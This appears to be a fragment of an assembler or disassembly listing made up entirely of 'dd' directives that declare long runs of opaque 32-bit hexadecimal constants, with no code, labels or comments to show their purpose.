dd 0B1A993h, 707F91A3h, 0A40015ABh, 0A34861Ah, 8B78A0h
dd 0D0BD598Fh, 0BBE59654h, 0E8A69301h, 30165152h, 602D7470h
dd 0CD8318EFh, 0DB009E81h, 0BF08A9FBh, 5FA56C82h, 0FFDBE0B1h
dd 7B4C58h, 0B331DC71h, 348528h, 67CF050Ch, 0D3EDDE69h
dd 15941A13h, 0C408B900h, 246519ADh, 2668CBFBh, 8CFA00E0h
dd 10DBFCF4h, 40B3740Eh, 152FA0C3h, 835575h, 4E6E22BAh
dd 0A14A3026h, 0A841D509h, 2DC98110h, 0B6D95AB5h, 1816C3C4h
dd 786C9F38h, 5500E6ADh, 2933BEBBh, 0C096C8EFh, 17C4BA18h
dd 29C06D79h, 8D1DAC99h, 938C5C6Bh, 3128D10Ah, 0A8B00B8h
dd 5A4B0932h, 133EDF00h, 95BD6FE4h, 6E8F04CFh, 0C2920F0Eh
dd 33E0140Ch, 2F00DBC4h, 0D48CB06Bh, 0A0E94Eh, 0E067F091h
dd 88456DCAh
dd 0B3A9E700h, 4AFF92B7h, 0A6CE12F4h, 4D60401Eh, 63D8E96Fh
dd 19E1800h, 5791DF05h, 0CE760004h, 0F525D471h, 4909E365h
dd 0A0D5A90Dh, 0EAD95108h, 0CAD5A009h, 52B7395Bh, 42DA92h
dd 0A0B0760h, 0AB1C3505h, 2100028Dh, 0BDDDBE25h, 0A9FE00F7h
dd 0A2C0DAE4h, 0CF00EDBFh, 4B1826Ah, 202B2B9h, 133394DBh
dd 0D880BCA1h, 91C33CA3h, 55B35E00h, 37476BFFh, 0F9FD0072h
dd 0A12B0560h, 94008793h, 0CCB280Eh, 751AE7Eh, 0E5A5E499h
dd 6965E0C8h, 0AF003089h, 0F048E190h, 4A70CFh, 7F949132h
dd 0ED517731h, 160EBDFEh, 208F5BFEh, 842162D8h, 0D880E72Eh
dd 0CF0FD5D2h, 0AFA094D4h, 0AA00F5C8h, 4E6B3A72h, 65B840h
dd 37431789h, 1577F76h, 84009AB0h, 0DBDA2156h, 64032A7h
dd 53A69A15h, 3600E0C9h, 0BDCF1D48h, 0F888CEE3h, 72A705Ch
dd 0E4FDE898h, 0A624801Eh, 0EE4C38BFh, 57F80054h, 9A489008h
dd 4FF50085h, 4C7E0344h, 60126A0Dh, 340E6D96h, 0DF98C0E5h
dd 771253h, 95B88540h, 0DA30B68Dh, 84EC8700h, 5018783Ah
dd 5F5D00B0h, 276FE59Ah, 0E3709544h, 0B57ADB00h, 0C2429CCBh
dd 0A15E2C18h, 1C3D00ABh, 8BE1C681h, 85CFEC00h, 4CC56105h
dd 88171C86h, 3280BC16h, 0D19F4A27h, 46F8B5CBh, 0DFBCC901h
dd 2D298D59h, 0D40BF0h, 7C51B3CEh, 63D2517h, 0B800D67Ch
dd 35C99E38h, 0D590DEh, 71D25B67h, 0BDE06EFDh, 2EC15E00h
dd 7CBC5395h, 189F03CFh, 44325FBh, 0A8A214A8h, 4AC5231Eh
dd 0B4BB170Ah, 9864F200h, 8B2B38h, 69CD8635h, 1DB2686Dh
dd 4F62B71Dh, 4200DA6Ch, 6A0243F3h, 5C6B0EAEh, 0C6A01AFFh
dd 666220D8h, 2B4058h, 4E660E2h, 738A487h, 5244ACFEh, 4E67B021h
dd 50003BC3h, 412DDA8Eh, 0DC2585h, 9744723Fh, 0A45F39D0h
dd 912EE700h, 0E4200E55h, 4B670B7Dh, 830045C5h, 92CF245Ah
dd 83483D03h, 0D3799EABh, 0E821E05Dh, 158100B2h, 0D3AF3637h
dd 4F0FC898h, 41609C3Ah, 9B4AF4F8h, 0BAD424h, 163E03E2h
dd 58C048C4h, 0D15D131Ch, 1F00CBD7h, 0B05A1764h, 0D65B00EEh
dd 521F8426h, 9F0F02B8h, 0F8D3AD2h, 9C03003Bh, 68F93A9h
dd 0DF428935h, 820E6030h, 3BE79ABh, 0A873F8Ch, 0C04977F2h
dd 0F7A9010h, 4E873854h, 469A805Eh, 0A00BC3CBh, 91B54h
dd 90C62358h, 84F65AB7h, 0EEC38E07h, 0F7611018h, 42C0BB81h
dd 14C60FCCh, 7E034DDh, 0EDCA60D5h, 5FB1900h, 0D22AC90Ah
dd 35B5002Eh, 0AEE6C8DDh, 9760C098h, 0ED498668h, 0A2B7B51h
dd 0DE428C90h, 25E30254h, 60B0B0DFh, 20A192B1h, 0B7388025h
dd 6E57103Ah, 3B0A002Bh, 0A279ECA5h, 0E3F89244h, 9B7B80B8h
dd 172A6900h, 9F9C6BDFh, 0D18500B7h, 0A6CAEFABh, 2D00EA28h
dd 0A9F231B6h, 3344BEh, 0C23216E1h, 0F6518666h, 0AEC3450Bh
dd 3CCA00FEh, 247E2137h, 0A90C97h, 0AA7F3204h, 380015A0h
dd 1AEFAE9Bh, 0BAADBBh, 5E4ECDC9h, 0C6918523h, 389F361Ch
dd 0CE5CCFh, 0F3AE5A0Ch, 162C002Dh, 0CB9466E4h, 787BF0EFh
dd 1741A701h, 3F0FD9F6h, 6D99E8h, 9561CA66h, 75DAA551h
dd 599EF200h, 5C7C94Fh, 0C88B00EFh, 9F1382E4h, 547AC0A1h
dd 0A618D801h, 4CBB3F90h, 678CA440h, 4DA500FBh, 279C45ACh
dd 70006BA2h, 2C9AF411h, 3D950FAAh, 0CAA409B4h, 27003FD8h
dd 0A60B5A72h, 0ADF29647h, 8D384500h, 0F182DC42h, 0C3D8E7BDh
dd 0E21A0E26h, 0BA804FA4h, 0A1E13B33h, 0A285F203h, 88DF95D3h
dd 0F80ADD42h, 0C691C368h, 0E3B093A5h, 0DF00A26Ch, 964F91B1h
dd 1EAD027Ch, 4459381Bh, 0C0D86D19h, 1DCC14A2h, 79B1EB00h
dd 17D03DA8h, 60C14953h, 1E2E0700h, 0E9B8549Dh, 934F4F0h
dd 0B30EA0C5h, 0D885A3D1h, 0F7A0E8D4h, 0ED310004h, 0BEC38418h
dd 44000E9Eh, 0E8428135h, 75B66870h, 516B05B2h, 8055021Bh
dd 0D8742346h, 0BE4350C0h, 3B43D96h, 734D7F4h, 0E001D2D3h
dd 591AB855h, 9983C4CDh, 0F20BC92Fh, 74D33900h, 0D2529A63h
dd 3BA40033h, 4213CFE0h, 691C9768h, 16C3772Bh, 0F0F5BB34h
dd 7DC1CB7h, 2015CB5Eh, 0A577D098h, 0EF001B95h, 8E4F2CCFh
dd 0E2E5C32h, 3D542A14h, 0EC216B8Dh, 0C80051DBh, 1CB3ED25h
dd 0F2019Dh, 6C1FBC15h, 86DD181Eh, 5D98F403h, 0A85F2C33h
dd 0DA4B91Bh, 6D1464CEh, 0D07B6048h, 0E402EC00h, 686F1D71h
dd 60CCE874h, 0F7D420A4h, 1507A1D8h, 82D30241h, 121703A0h
dd 811406E6h, 909EC1F9h, 0BC956F2Ch, 2C834600h, 0E20B4DEDh
dd 0C27F2D7h, 919B5F1Ah, 1007529h, 0CE069054h, 0C6189CF3h
dd 200B3009h, 54E95503h, 0EBA60687h, 0B5E2D0C6h, 5D503DB1h
dd 819B6F80h, 0E99EBC9Dh, 0A63072FCh, 893B8110h, 0B3CA00E3h
dd 9291FD8Dh, 2EE808D8h, 956E1000h, 0F3E384D0h, 0CF8F00D3h
dd 1C83DB5Bh, 50004D06h, 8042251Bh, 50B11401h, 0F6E30C3h
dd 67D72D9Bh, 70518807h, 0C4CD8A4h, 5F3920E4h, 0D179807Eh
dd 0E32495D6h, 55EB00E0h, 0CE803F9Ah, 35007566h, 632EB8D9h
dd 70021A58h, 985900E0h, 80DAEADDh, 814AA673h, 7500C2FCh
dd 58FD88FAh, 1C0FD25Ch, 86C3DA97h, 3D4F118h, 40C42702h
dd 1006A10Bh, 24AA5D1Eh, 0FBC60E28h, 3560AD1Ah, 34A9DB5Fh
dd 95AE1203h, 0CFD151EBh, 0CBDC3E20h, 0DE08CCF9h, 0C413F621h
dd 7200DA51h, 0A0CE4730h, 300B508Dh, 0B632409Eh, 836031D8h
dd 0EF0486DCh, 0F1DBC551h, 8A20D362h, 31151DEh, 0FC9C010Fh
dd 7580996Eh, 0D807CC4Dh, 0C1423AA2h, 2C3970C0h, 19D06119h
dd 80115Ah, 30381AF0h, 0B550376Eh, 24008E54h, 486B9A18h
dd 0C1D4A349h, 0AFEF1E08h, 230730B5h, 0ACE6FC00h, 44E5B65Eh
dd 584E61DFh, 0F46F75BEh, 570E6861h, 870B5840h, 0D4B0A994h
dd 0B7F403D2h, 0D100F058h, 0C3E17C1Ah, 76597350h, 0B6AC00B5h
dd 0FF5BCE10h, 0C709988Bh, 7FAE335h, 0D1297B8h, 2D9A803Ch
dd 0C5AA30h, 3AB694ECh, 0A0625945h, 0CA1728E2h, 0EB10DEA4h
dd 13FFEE04h, 0B820C37Eh, 0F34A95h, 0D7E408C4h, 411BB69Dh
dd 0C929DC03h, 0E0F65546h, 0E63160ACh, 0F89D7196h, 191C605Bh
dd 0D5498887h, 306BAF0Eh, 7CB383D2h, 0C021DE53h, 1D3A310h
dd 0BB3E5650h, 5D007BEAh, 0CDFA7405h, 1FC67830h, 0F53D8Ah
dd 52DE68A8h, 0B3F8A569h, 27B06EEFh, 0E9F06Dh, 0C3AD4AD5h
dd 0FE07D2D1h, 0AFD0CD1Fh, 84F5003Ch, 0A3953F0Ch, 40A0D0ABh
dd 98316C1Fh, 15F9B86Bh, 0A37BE000h, 12AB17AAh, 1C901A0h
dd 0BE07AE20h, 0EBC88F73h, 210010D1h, 35B41AD2h, 9D00AB0Bh
dd 0B831AA10h, 14A5640Ah, 3457BEDEh, 8ADDEE00h, 9CBCF53h
dd 0D563F9C1h, 0D0FCFBF2h, 0D29D1EA7h, 3203FE02h, 0F033CF91h
dd 5203AB92h, 314E00D9h, 0D361FF2Eh, 280FB3A3h, 8FB93E75h
dd 77CB9F24h, 2AB778C8h, 3ACB402h, 2C7C5486h, 10007A3Eh
dd 70AA5CAFh, 18C0A0F1h, 1956CFC6h, 520C11B3h, 0C08E4588h
dd 1B18183Ch, 0A8AA80ACh, 0D7CA4B01h, 6A67E42Eh, 74A69840h
dd 0BD241527h, 21C824D2h, 0FA41FF64h, 8009F11Dh, 0A86EEF18h
dd 83330Dh, 0D1886126h, 23BD72BCh, 64A73F00h, 9CADCD9Ah
dd 6E150199h, 9EF33D33h, 6090818Bh, 0A56BA8BAh, 0F209ADCh
dd 2199A3ECh, 7D1E44Ah, 6B7E7586h, 76CA6480h, 0B5A37BE8h
dd 912947E0h, 494258AEh, 7C06F021h, 28BEAFh, 8A86739Eh
dd 6A943167h, 70087491h, 3BD401F5h, 50B3CA29h, 0A03DB9BCh
dd 48C13A72h
dd 7465686Dh, 38AD5420h, 0DF3CFB2Ah, 1655F986h, 32001861h
dd 0F3CD723Dh, 1284F6ACh, 0BB4D2274h, 941C71Ch, 8961A4BEh
dd 721A2824h, 55F3E8Eh, 21D22312h, 25A51E74h, 78904440h
dd 0B52031F4h, 2A2D0665h, 20A8468Bh, 81A38A0Ch, 0EE706916h
dd 98260305h, 0B02D9B68h, 41FCE044h, 33B8D500h, 61F252AEh
dd 0AC5D70FDh, 0E47D1034h, 0E2668064h, 19035C61h, 28D56C56h
dd 9DCC2040h, 0B8BABF07h, 0A775D97Fh, 0D8589C00h, 9F3DCDE9h
dd 2FD4EEE0h, 0A8C2B714h, 0A3871C8Ch, 2FAC4189h, 0D068A06Ch
dd 9549B62h, 5AA47F1Bh, 17BF3F00h, 0E70F744Fh, 8AB329h
dd 0AB7A2EC6h, 0D03025Eh, 6673AC37h, 50025C89h, 0B404F448h
dd 49EAC05Fh, 0BEC5684Fh, 7CC47852h, 284A1800h, 0F862E836h
dd 5020E1B9h, 0CAB20070h, 8AFBDF14h, 5C308601h, 0CBAFB90Dh
dd 643A2AEAh, 0B9230280h, 6F274F8Ch, 15538868h, 511874E4h
dd 2F807B5Ah, 2AA90963h, 8061227h, 0F20848AFh, 80D03ADFh
dd 3715520Dh, 27282687h, 9B0E1446h, 0DF3DC5A3h, 8368E23Bh
dd 6D4D23B4h, 205F8020h, 81F7AE2Fh, 1CF151E8h, 8480AF3Eh
dd 0A83423A4h, 550064EFh, 0FA5691DCh, 41BB833h, 49789E3Eh
dd 0F9C9408h, 30CFCD20h, 5634B980h, 0D10F3257h, 0CC557433h
dd 3DB16Dh, 0DD3E2112h, 79BEFB0Ch, 21820E7h, 52EEC100h
dd 1A7726DCh, 710602BDh, 1253969h, 0A822B860h, 99C3110h
dd 0E56FA602h, 360D43Bh, 0D6726A59h, 0BF2903F8h, 0DC00E850h
dd 9C5D82A2h, 0AA07EA1h, 0D1B9D0F2h, 0B2CA81BCh, 4CBD9650h
dd 0A05939FCh, 0D5BF0310h, 0A05683E6h, 20598D6h, 0CE026625h
dd 2040CF50h, 6402AE3Fh, 186CBA1Eh, 49A183D6h, 73E79FA0h
dd 98AF9342h, 403FBEB0h, 9706CADFh, 0E4F123BCh, 60E0EB10h
dd 4E179A0h, 65D2A99Eh, 0C05088BDh, 7E31AD01h, 7B820CACh
dd 3C57C500h, 0D0EB2439h, 4E004DB0h, 3699E923h, 34F2D303h
dd 0C741A7DEh, 12328070h, 0E52886D7h, 4E00B30Bh, 3EEA21E2h
dd 50998594h, 3C9CD048h, 9801F37Fh, 66AFA064h, 601AD150h
dd 6A406CF8h, 1C5F0D22h, 3411D4B4h, 0C03EBCB4h, 1421A8EAh
dd 0C1039F03h, 2A5E6433h, 0ACB030h, 8729091Dh, 0E12E1499h
dd 98D4B900h, 0C96A01CEh, 24F907DDh, 49DF3028h, 89D13380h
dd 0C90C387h, 664160Fh, 3FC05D01h, 0C13C7EAh, 0E8B09079h
dd 40EB0088h, 5CC6D26Ch, 9301A1C9h, 0B6587B3Ch, 0F4FC0318h
dd 40A30FB5h, 28136F68h, 0FF2CDAE0h, 5B628088h, 0D4FC48E0h
dd 1CE74875h, 13932849h, 7185F12h, 96C84919h, 34AB300Eh
dd 8AAE4FE4h, 9841E862h, 8C20C595h, 683448ACh, 3D242490h
dd 4BBF02A0h, 461D22Dh, 22B6029Bh, 206452F3h, 0CB4F420h
dd 0A0633313h, 49D86A28h, 92E3CD28h, 73F480C8h, 69876351h
dd 0D2E231AEh, 559244E0h, 20841532h, 88782C2Ch, 22452C98h
dd 9B3199BBh, 177B5828h, 0EC81C284h, 57F162EEh, 9E119B5h
dd 388F654Ch, 86FB0784h, 104C0C3Ch, 216E1D24h, 4D004064h
dd 0F463A6A1h, 5888A42Eh, 0BA87003Dh, 52E9CF4Dh, 0C9A9C02h
dd 744CAC62h, 0E9EE5402h, 0CEC3755Ah, 0FA660328h, 0E1317BBDh
dd 39EADBA0h, 0ACD06A6Ah, 0A1D0780Bh, 2833FFD0h, 0FC006832h
dd 241AAE0Fh, 0C86BCD2Dh, 0BE140030h, 9ACF6E8h, 60316843h
dd 0F9797420h, 73091BA3h, 91BE19A4h, 27108424h, 24928C50h
dd 8435033Dh, 21CE72AAh, 403C68D8h, 31E355Eh, 0C9DA8C2Ah
dd 0B1504978h, 7B978610h, 101EEE26h, 94CF984Ch, 6830891Ch
dd 0CA4FA8A0h, 0D0006CFCh, 7B165061h, 0FEF22606h, 0D9B9D85Fh
dd 0AC00A0B3h, 3FC9662Eh, 7C24FB3Ah, 4EEF24BAh, 34F343C0h
dd 9098D900h, 0B9865092h, 402B18A0h, 0A9E4897Eh, 0B30EB8B8h
dd 0F479A838h, 0E1D6056Ch, 508815B6h, 0AE1E052Dh, 0C492285Dh
dd 6B24CCD4h, 9028B0DEh, 5DA0B200h, 6F5F8624h, 0AF27E822h
dd 351718h, 0B3ECBFDCh, 3F03522Bh, 50ED7B14h, 16F0A3EEh
dd 2AA3F1h, 79AB40E0h, 672E5402h, 0D40030A5h, 2CC024AEh
dd 0FB3500E6h, 0AC4A8626h, 7F6008DBh, 0BCEC9CE9h, 12313E37h
dd 0AB2E4052h, 0FC3B0094h, 15FB8BA9h, 0B0C4B95Ch, 8267380Dh
dd 0E204F8E4h, 0D592FB2Ch, 0C8E864C2h, 5CEDC0F0h, 0F4078819h
dd 5533B695h, 0FC5D5Eh, 3DED28B9h, 6800A952h, 20A467A8h
dd 1F067FDFh, 16C71A2Ah, 26F04457h, 405FC52Dh, 0DCB97D64h
dd 53247397h, 1A80D86Ah, 9951BDF9h, 486CB0BAh, 2601D7EBh
dd 0CAA7EFB3h, 0F6E0DBE9h, 0FA2A7E4Fh, 0A24CA4AEh, 50E800B4h
dd 3EBCCE99h, 238C7EAh, 125851B1h, 0A9577066h, 16D03A50h
dd 0F84608A6h, 0EB147002h, 0B0434CE9h, 0B80AA7F8h, 40A6CE00h
dd 26033301h, 27830346h, 9F19A8C9h, 602020DDh, 0E401A714h
dd 0C9AEAC9Eh, 1C700FF0h, 3E750027h, 74D3067Ah, 6F0F9993h
dd 40D2BD3Bh, 0F6A47F1Ah, 0D4BA5459h, 0CAE01954h, 30D119C1h
dd 0B34305FCh, 0F62AF21h, 20300B0Bh, 3028EA97h, 2711C0BFh
dd 3B28D24Dh, 0D8B250E8h, 0AA0E15EBh, 7158A8ABh, 2002E425h
dd 88E1C984h, 1ADC207Eh, 0F449E902h, 214256D7h, 30684839h
dd 0B200E370h, 0A5F506E1h, 0F0752867h, 2A5701B3h, 0D1CDFF2Eh
dd 25E860A3h, 0D8785B30h, 0CBBD244Fh, 0B002D849h, 94815673h
dd 9F2557B8h, 98C06138h, 72A888CDh, 15C005BAh, 325E53DFh
dd 93307808h, 2EAE3E03h, 0C50885Ch, 0B42000A6h, 6CDA5FFEh
dd 0DB29C91Fh, 17C24457h, 16D4C529h, 70C800A9h, 49D4E2EEh
dd 0CE07F87Ch, 5317D13Ah, 0C80CBCE5h, 84B13832h, 1B6E2805h
dd 0C488A9DEh, 5C2E3959h, 0D0AB4195h, 0C98CA002h, 0C0711956h
dd 0E0104E65h, 2BCC43D4h, 2B64B06Dh, 470A489h, 0AEA4A8DEh
dd 384F60A3h, 305973Eh, 0FB33741Fh, 0CE186600h, 0A43CB0C8h
dd 323E2108h, 0BA3A0881h, 88A8C928h, 12EAFAB0h, 0F461BC8h
dd 0BE0D5914h, 0A4D040FEh, 5092E87Ch, 9F13DE02h, 4033D482h
dd 253B2CFCh, 0DC944119h, 6604E6F4h, 0DBD032A5h, 0D37BB0D1h
dd 0F4874989h, 0F83F6010h, 77006AEEh, 70BFA6D0h, 7A676192h
dd 17A2FCA8h, 1CAD2B11h, 53F740C0h, 2379A659h, 0A56FEB09h
dd 0C3EA0E78h, 0F6DFD031h, 83F60E68h, 0F0E91103h, 278760C1h
dd 8A7F10B0h, 0F031CF04h, 754F6DBh, 0CDFA65ECh, 17442189h
dd 0E0313443h, 0B2250060h, 912851B8h, 827ED707h, 4026B110h
dd 7E4AFB04h, 8D5A03F7h, 0AE1291Bh, 93B1858h, 0C0FEFFCEh
dd 2CA518C0h, 806C9569h, 0B9C3A30Eh, 4602831h, 0BB622691h
dd 37A8003Fh, 0B5E2730Ah, 0AA00E87Bh, 6D3C5D31h, 29E6DEA5h
dd 42C0FF42h, 800E0D01h, 965350BFh, 5CAC000Ah, 746CE3D2h
dd 590BB187h, 493A6B2h, 0C8D09A10h, 0A05BC0FEh, 5205B918h
dd 318830E7h, 0CD8A3C87h, 0A3C021F9h, 0E8D7AB81h, 5A0F71h
dd 0A811CAF0h, 543CC8EFh, 84D0A554h, 9B058590h, 47FC3A60h
dd 2EC99001h, 0A071CD4Bh, 5F2C1888h, 0FBB15341h, 20852F2h
dd 24E3BCAFh, 44C9D727h, 94006D5Dh, 0CC6E1653h, 430300DBh
dd 209326Ah, 4B216802h, 0D0D1EBB1h, 60A405A4h, 450A34A8h
dd 7FBFD8h, 7DF8AE08h, 6560F152h, 0EFC5091h, 6349013h
dd 79426B73h, 0BF01581Bh, 627EE6D1h, 0E872E751h, 10CA7B00h
dd 679C26A7h, 4E1C0E7Ch, 0E58042A6h, 0DC5634ACh, 0DA571FEFh
dd 4AE80AC0h, 61660080h, 0AD472E7Ch, 6EF88C4h, 59FDF0F4h
dd 0D300D0CAh, 5FE7180Fh
dd 76070766h, 75FA34D1h, 521B046h, 26E8A065h, 647480F3h
dd 0D839B9DCh, 0FEBC8039h, 0F141371Dh, 0E0EF00ADh, 5732E4F2h
dd 0B1000355h, 2C82A54Fh, 763CE879h, 74310936h, 988CE3A1h
dd 3D0C6528h, 20ED9C88h, 0B4EC79h, 0AE06C977h, 1977098h
dd 9F209174h, 0ACCE003Ah, 173D0C77h, 2509E446h, 0F020FF45h
dd 0EBB20094h, 0F13C70CCh, 6851B73Dh, 1623F0EDh, 58FC1A0Ch
dd 7F6108Eh, 689E2757h, 60EEA734h, 4731413Eh, 9CF87A7Fh
dd 59895100h, 71433C83h, 78D600B0h, 0D05A8A3h, 0FC0F1ED3h
dd 20F12A86h, 0D55CA1C5h, 0B6CB18EFh, 6C5228D4h, 1A15C11Ch
dd 748C211Eh, 604E083Ah, 5B520D5h, 0BF0337C1h, 0C096C65Fh
dd 0C966F0CFh, 1FAAFA04h, 8073559Dh, 60F46570h, 4B48E971h
dd 0DF420010h, 9AE6F2A3h, 0A0C2602Dh, 17BEF829h, 0A261C91Ch
dd 1E9C9D07h, 28F29EC3h, 7CFD4570h, 7B11DF65h, 0EAF6958Fh
dd 1E03186Fh, 0D6E11AAEh, 0E02080F5h, 5CC79504h, 0FCD000B7h
dd 0C251BB6Ch, 7437C9E5h, 0A69F8831h, 0D80B97Ah, 0B4CC1EBh
dd 0ECB0F0B8h, 9F18C560h, 0C17BE230h, 0AF95EB0h, 0EF4800B7h
dd 0C8B01AA2h, 580A897h, 0F33991BDh, 0B459E600h, 0D27B2E8Bh
dd 1699875h, 381D49C3h, 0C4B9D40Dh, 0A2501B52h, 110197F9h
dd 91F99A4Dh, 57D037FEh, 3C3B1F17h, 0DC1007BEh, 0A68009Fh
dd 0BC031B3Dh, 0FC978E01h, 3E77B01Ch, 2BE075Ah, 200C4F88h
dd 7069992Fh, 89A7E90Eh, 2215E0EBh, 0CAB757h, 0C8E10765h
dd 2072E5EAh, 8000F7Fh, 96A5CD53h, 0C03AFAh, 0B08F9CFEh
dd 0F62F21BEh, 3818021Eh, 0EE5A783h, 369BE082h, 981C0ED1h
dd 2D8F5F67h, 57BA803Fh, 9499AD16h, 557D8903h, 0C038715Dh
dd 1F66A90Ah, 403F6325h, 0F41654F0h, 70032905h, 17973BEDh
dd 164D3ADh, 4C3CEE40h, 0F4449249h, 0A9005D53h, 0D880051Ch
dd 3ECA3565h, 0B903CD5Ch, 0AE71B59Fh, 0D7EE7901h, 5C17BAB2h
dd 0B4B3118Fh, 0E5783B80h, 560CA429h, 80EFBC3Fh, 0D8060042h
dd 0A6B645D6h, 0DB3FA372h, 0FD28C3Bh, 0FF413Dh, 0CA8DC197h
dd 0D448CB71h, 95BC661Dh, 53CC6F00h, 0E0AD8891h, 75B60C92h
dd 95396018h, 97069E00h, 3830BB39h, 314C0E84h, 5C47216Ch
dd 3583900Ch, 0BE033F73h, 0BA54EEAAh, 0AE5A82Fh, 265D7075h
dd 0D971F2h, 0E3098115h, 6006BD02h, 200B0DBAh, 1C39E2F9h
dd 686CFD80h, 60EE78A0h, 0D91E518Ah, 3B3A3C07h, 56BD3003h
dd 2C58D6Eh, 0AEC91652h, 0DE86CDDBh, 0B900D0BFh, 0EC910FEAh
dd 4C66B30h, 0A3BF417h, 89A10C0Dh, 98BA2AA7h, 0F34001A0h
dd 4B4AC46Dh, 2CB12FD4h, 5850BE4h, 0A3C07A13h, 0CC5E22h
dd 5FE53C44h, 6A003904h, 0D12D1499h, 3FA75503h, 0B7870B17h
dd 40D3ED0Dh, 0EA91912h, 9DE6803Ch, 3874F96h, 0E3E02ED5h
dd 74DB0A4Ch, 5F35038Ch, 45E5A946h, 0F4257D8h, 60FFD600h
dd 0A612863h, 3C4971FBh, 52186A35h, 5D328E6h, 44B10E40h
dd 3184F75Eh, 0AF512B18h, 0C298802h, 84939061h, 0EB46C05Dh
dd 99007804h, 0D112374Bh, 0A01AE7h, 28ED5879h, 0F5CB1790h
dd 1E0B65F0h, 0EBEC3Bh, 2283F13Dh, 3FE042h, 0B8DDEDA9h
dd 26E36F56h, 0DE76DAF6h, 0F0F2E513h, 0E40A5900h, 487B22h
dd 0BFBBB3BCh, 56264121h, 36FEE900h, 0D23A241Dh, 0B9621292h
dd 0E6AE0133h, 6A5E1B4Ah, 2ABED980h, 907A0045h, 0E9F5B9A7h
dd 21F692Fh, 3B406A5Ah, 7F6E277Eh, 0FB0900CBh, 0E12F2E92h
dd 0A203C14Ah, 0EB8D98F1h, 141C034h, 255E00A9h, 0AF54DE1Fh
dd 2400F6D5h, 0EB7354Bh, 860427h, 61F7DA7Bh, 0BFD01D34h
dd 0FB41691Dh, 0BDFFB740h, 0CE2E14h, 0C20499F6h, 0C18DF45h
dd 7411FC1Eh, 52E0DD40h, 60A746B8h, 0DAC47054h, 71003E23h
dd 0A0539DEFh, 0F35E6B0h, 345EAEA9h, 33AC1442h, 9A3B1040h
dd 301DE400h, 2C83E1C5h, 228F1E50h, 9D250072h, 9446CC44h
dd 660EE91Ch, 14950FC0h, 17F5EADh, 9B449867h, 0F4170618h
dd 0DB398424h, 7582C87Ch, 0A03C9500h, 4F014CB3h, 8F04383Bh
dd 9B530B00h, 0DD9B7E4h, 8E6E7F00h, 1536B3C4h, 7A3803EAh
dd 0C51FBEC7h, 0A686A888h, 1E71E200h, 0C1F5A048h, 1CD000EAh
dd 0DAF84597h, 9003A91Fh, 6A46615Ah, 7DE18FC4h, 35702E41h
dd 390200A4h, 196B3EB8h, 0A20067F1h, 93E23B95h, 64BF18h
dd 0C32DD569h, 0E41C8A7Fh, 0FECCD900h, 0B732906Dh, 66831F5Eh
dd 19BA0773h, 609D80B5h, 280046A0h, 0A6C16180h, 925091h
dd 0D3F4E121h, 0E6E39622h, 0F70E0D98h, 40697B62h, 5F33C4E9h
dd 4DED3DD9h, 74870C00h, 9C976799h, 0CDC9FC01h, 907D910Dh
dd 1FD7E0h, 6B412D27h, 0AFF03D66h, 4DCBEE00h, 0E132ACC3h
dd 248D1F6Fh, 365AC31Fh, 0D7F8062Eh, 9B002C95h, 0CFAC021Ch
dd 0E663111h, 0B1D31063h, 40F4A2A0h, 0F81F20A0h, 9B40E1BDh
dd 0B6D1937Ah, 3B2206EDh, 0F86DCA9Dh, 8019E33Bh, 1214CE4h
dd 5ABC69h, 4807872Ch, 0CB810361h, 0B955D1Dh, 1EA7B0C0h
dd 770E380Fh, 0DF720791h, 3051B29Ch, 5ABAF205h, 21D45400h
dd 9294A99h, 0E4660027h, 3B0357DFh, 0FA002DAFh, 0FC18F25Bh
dd 796A1DE7h, 0E08B00D7h, 0C1AB834Fh, 0AD03950Bh, 7D1EA4BAh
dd 0BE9FE060h, 82500039h, 0B112B9E1h, 0DD07987Ah, 4A81C938h
dd 0DE7C6D71h, 3D6B7C30h, 8700EDC5h, 363E0C3Dh, 7600A432h
dd 2CDD601Dh, 55E2CBh, 7771EAAh, 48C57A02h, 0C7CFB800h
dd 8E0C50C0h, 0CEC11E76h, 0A3E6043Ch, 9B15C0D9h, 0DC1D6DFCh
dd 0D6C0EC94h, 81C0946h, 0A61100B2h, 77C0415Fh, 0B9FE8525h
dd 0FB319E0Eh, 6BCE00Fh, 90F69701h, 653B00F8h, 0EE7F367Eh
dd 3501C06Bh, 297DEF44h, 0D0D4FA61h, 39124C28h, 932E3F07h
dd 24C09F34h, 0D983B558h, 0EAD60C07h, 7A5031D1h, 5C131Ch
dd 0C22C6FDBh, 159AD56Bh, 18A12303h, 90F69E84h, 2E0ACB3Ah
dd 95C7473h, 870066E1h, 0C8A54D22h, 43A12C07h, 29D71Bh
dd 50308ECh, 0B6900CDh, 9DE68B8h, 5F003822h, 7F3B4780h
dd 7D2BE12h, 718652C3h, 0B27DC34Fh, 0F3F784C0h, 0EC7C677Dh
dd 1C24301h, 209D816h, 7B5E470h, 0E29EA907h, 629AB01Dh
dd 0F617D93Eh, 0D4008EE8h, 0F9111EF7h, 678D1F68h, 7FF280A8h
dd 0AFC503B2h, 704BEC2Ch, 0D707C304h, 8D6B0080h, 0D1AB05F8h
dd 0C0E81D37h, 55683D7Bh, 0C3DB9400h, 777615B3h, 7C78DEh
dd 0D9CB9016h, 42A11832h, 0F9AE6600h, 47DA3D2h, 0F88107D6h
dd 7114E42Dh, 0DD2646BFh, 0A0CFE037h, 0EF1ACC0h, 3B2138Fh
dd 83345867h, 0DFCB4CF9h, 1F0BC0C0h, 87CAFC0Fh, 97E96039h
dd 6CCF35h, 5923162Ch, 79159F0Ch, 6501A100h, 9B70D8CAh
dd 0D2A50777h, 90D7311Eh, 1618A9EDh, 116A9100h, 926D5AE2h
dd 65840014h, 0F47C1C79h, 8F7B9B52h, 40AEEA01h, 482A71EFh
dd 7D3A8C40h, 0CDF00008h, 0C930FF82h, 0B3007A5Fh, 144AEFA1h
dd 0CA6F50h, 92B56388h, 5BB8FA32h, 0E008AE00h, 690D2D3Eh
dd 818B386Ah, 2C805538h, 0FF5087C7h, 0F0582F35h, 921400F3h
dd 0E7720BC9h, 7A42EAA4h, 38B0F3h, 0AA5448EAh, 0BE3D1682h
dd 1A1D3C07h, 0E41DD0Ah, 79F47A3Eh, 0ACF700CBh, 6FD015B2h
dd 5E5CC15Bh, 0E93E35h, 2991D5F4h, 723F090h, 5A33F1ADh
dd 0EB305C49h, 48E0E500h, 0BB5389E7h, 508B00F7h, 4DF8D0AFh
dd 5B7607ECh, 61026670h, 3F3A649Bh, 62A8C0D4h, 28CF0E7h
dd 6F7B37BDh, 5040A513h
dd 0EA009B60h, 0CC3B56C0h, 32A09Fh, 4CCB1AD7h, 0C62971E8h
